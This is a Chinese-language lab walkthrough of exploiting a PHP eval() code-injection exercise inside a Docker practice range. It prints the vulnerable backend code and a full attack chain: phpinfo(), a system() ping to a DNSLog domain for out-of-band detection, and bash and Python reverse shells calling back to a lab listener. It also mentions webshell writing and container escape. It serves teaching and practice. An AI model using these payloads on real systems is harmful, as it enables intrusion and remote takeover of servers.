摘要 / 前言:
在完成了 exec "ping" 的命令执行漏洞练习后,来到了 exec "eval" 模块。与之前的直接操作系统命令不同,eval() 是 PHP 的代码执行函数,它将输入的字符串当作 PHP 代码 来执行。
本次通关演示了从验证 PHP 代码执行,到利用 PHP 调用系统命令进行 DNSLog 外带探测,最终通过 Bash 反弹 Shell 的完整攻击链。
一、漏洞原理简析
后端核心逻辑:
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
// 这里出现问题,直接使用 eval 执行用户的输入。....
if(@!eval($_POST['txt'])){$html.="<p> 你喜欢的字符还挺奇怪的!</p>";}
}
区别:
- RCE Ping (Command Injection): 主要是
shell_exec,system等函数,输入的是系统命令(如ls,whoami)。 - RCE Eval (Code Injection): 主要是
eval,assert等函数,输入的是 PHP 代码。如果我们想执行系统命令,需要在 PHP 代码中调用system()等函数。
二、通关步骤记录
1. 初始探测:证明 PHP 代码执行
首先验证是否存在 eval 注入。最经典的方法是打印 PHP 配置信息。
Payload:
phpinfo();
结果: 页面直接渲染出了 PHPInfo 的详细表格(如截图所示),证明我们可以执行任意 PHP 代码。

2. 进阶探测:DNSLog 外带
在尝试执行系统命令时,输入 system('whoami');页面正常回显

前提条件 (Docker 坑点):
由于我是 Docker 环境,容器默认没有 ping 命令。但我已经在做上一关 rce_ping 时手动安装了 iputils-ping。如果容器重启且未保存镜像,这里会失效。
Payload:
system('ping -c 4 lugxmn.dnslog.cn');
分析:
- 这里我们是在 PHP 代码中调用了
system()函数。 system()内部执行了 Linux 的ping命令。
结果:
刷新 DNSLog 平台,成功收到了来自我 IP 的 DNS 查询记录(如截图),证明系统命令执行成功!

3. 终极利用:反弹 Shell
既然 system() 可以执行命令,且我们已经验证了出网权限(通过 DNSLog),现在可以直接构造反弹 Shell,获取服务器权限。
攻击机 (Kali) 监听:
nc -lvp 5566
Payload (注入点输入):
system("/bin/bash -c'bash -i>& /dev/tcp/192.168.93.129/5566 0>&1'");
python版本:适配无 Bash 的极端场景....
(system("python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP", 端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'");)
Payload 构造解析:
system("..."): 外层是 PHP 函数,用于执行引号内的字符串。/bin/bash -c '...': 内层是 Linux 命令,调用 Bash 去执行后续的脚本。bash -i >& ...: 最内层是经典的反弹 Shell 语法。- 引号嵌套技巧:最外层 PHP 用双引号
",中间 Bash 命令用单引号',避免引号冲突导致语法错误。
结果:
提交 Payload 后,页面虽然可能处于加载状态,但在 Kali 的终端中瞬间收到了连接!
输入 ls,成功列出当前目录下的 rce_eval.php, rce_ping.php 等文件。

三、Docker 环境下的特殊思考
在这次实战中,有两点与传统环境不同:
- 工具依赖性 :
如果在rce_eval这一关直接使用 DNSLog 探测(ping),必须确认容器内安装了ping。如果是一个全新的纯净容器,system('ping ...')会因为找不到命令而失败,导致误判漏洞不存在。
替代方案: 如果没 ping,可以用system('curl http://DNSLog 域名')或者file_get_contents('http://DNSLog 域名')(这是 PHP 函数,不依赖系统命令)。 - 权限与隔离 :
拿到 Shell 后,执行ls / -al看到的目录结构和.dockerenv文件提醒我,我依然被困在 Docker 容器内。虽然完全控制了 Web 服务,但尚未触及宿主机核心,后续要考虑容器逃逸以及权限提升。

四、总结
rce_eval 的危害比 rce_ping 更大,因为它不仅能执行系统命令(通过调用 system),还能执行 PHP 逻辑(如 file_put_contents 写 Webshell,或者操作数据库)。
攻击路径总结:phpinfo() 验证代码执行 -> system('ping dnslog') 验证命令执行与出网 -> system('bash reverse shell') 获取服务器权限。